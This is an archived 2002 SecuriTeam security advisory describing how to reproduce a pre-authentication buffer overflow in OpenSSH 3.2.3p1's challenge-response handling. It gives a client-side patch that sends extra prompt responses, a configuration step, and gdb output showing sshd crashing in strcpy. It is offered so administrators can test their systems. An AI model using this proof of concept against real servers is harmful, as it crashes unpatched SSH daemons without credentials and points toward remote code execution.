

Securiteam: [UNIX] How to Reproduce the OpenSSH Overflow (Challenge Response Handling)

# [UNIX] How to Reproduce the OpenSSH Overflow (Challenge Response Handling)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0130.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 06/28/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Fri, 28 Jun 2002 08:40:09 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

-----

How to Reproduce the OpenSSH Overflow (Challenge Response Handling)

---

## SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/securitynews/5MP0L207FG.html>> OpenSSH Vulnerabilities in Challenge Response Handling, a security vulnerability in OpenSSH allows remote attackers to overflow an internal buffer causing it to execute arbitrary code. The following is a method that would allow you to recreate the vulnerability, in order to test your system for the mentioned problem.

## DETAILS

Recreation:

The following are instructions on how to reproduce a segmentation violation in SSHd (v3.2.3p1):

- 1) Compile with PAM and S/KEY support.
- 2) Apply the following patch to the SSH client:

---- sshconnect2.c.bak Thu Jun 27 11:54:54 2002

+++ sshconnect2.c Thu Jun 27 11:56:27 2002

@@ -866,6 +866,7 @@

## Securiteam: [UNIX] How to Reproduce the OpenSSH Overflow (Challenge Response Handling)

```
xfree(lang);

num_prompts = packet_get_int();
+ num_prompts = 2;
/*
 * Begin to build info response packet based on prompts requested.
 * We commit to providing the correct number of responses, so if
@@ -877,15 +878,16 @@

debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
+ if ( i == 0 ) {
    prompt = packet_get_string(NULL);
    echo = packet_get_char();

    response = read_passphrase(prompt, echo ? RP_ECHO : 0);
--
+ }
    packet_put_cstring(response);
-- memset(response, 0, strlen(response));
+ /*memset(response, 0, strlen(response));
    xfree(response);
-- xfree(prompt);
+ xfree(prompt);*/
}
    packet_check_eom(); /* done with parsing incoming message. */
```

3) Add "PAMAuthenticationViaKbdInt yes" to 'sshd\_config'.

4) Connect to SSHd using the modified client. Note: Valid credentials are not required.

On the server side, you will see:

```
[root@wonderland hi_chad]# gdb /usr/sbin/sshd
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) run -d
Starting program: /usr/sbin/sshd -d
debug1: sshd version OpenSSH_3.2.3p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
```

## Securiteam: [UNIX] How to Reproduce the OpenSSH Overflow (Challenge Response Handling)

```
socket: Address family not supported by protocol
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
Generating 768 bit RSA key.
RSA key generation complete.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 33208
debug1: Client protocol version 2.0; client software version
OpenSSH_3.2.3p1
debug1: match: OpenSSH_3.2.3p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-1.99-OpenSSH_3.2.3p1
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 124/256
debug1: bits set: 1626/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1597/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user jdog service ssh-connection method none
debug1: attempt 0 failures 0
debug1: Starting up PAM with username "jdog"
debug1: PAM setting rhost to "localhost.localdomain"
Failed none for jdog from 127.0.0.1 port 33208 ssh2
debug1: userauth-request for user jdog service ssh-connection method
keyboard-interactive
debug1: attempt 1 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=jdog devs=
debug1: kbdint_alloc: devices 'skey'
debug1: auth2_challenge_start: trying authentication method 'skey'
debug1: got 2 responses
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08053822 in strcpy ()
(gdb)
```

ADDITIONAL INFORMATION

Securiteam: [UNIX] How to Reproduce the OpenSSH Overflow (Challenge Response Handling)

The information has been provided by <mailto:[jtesta@rapid7.com](mailto:jtesta@rapid7.com)> Joe Testa.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[EXPL] Telindus Router 10xx and 11xx Remote Exploit"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)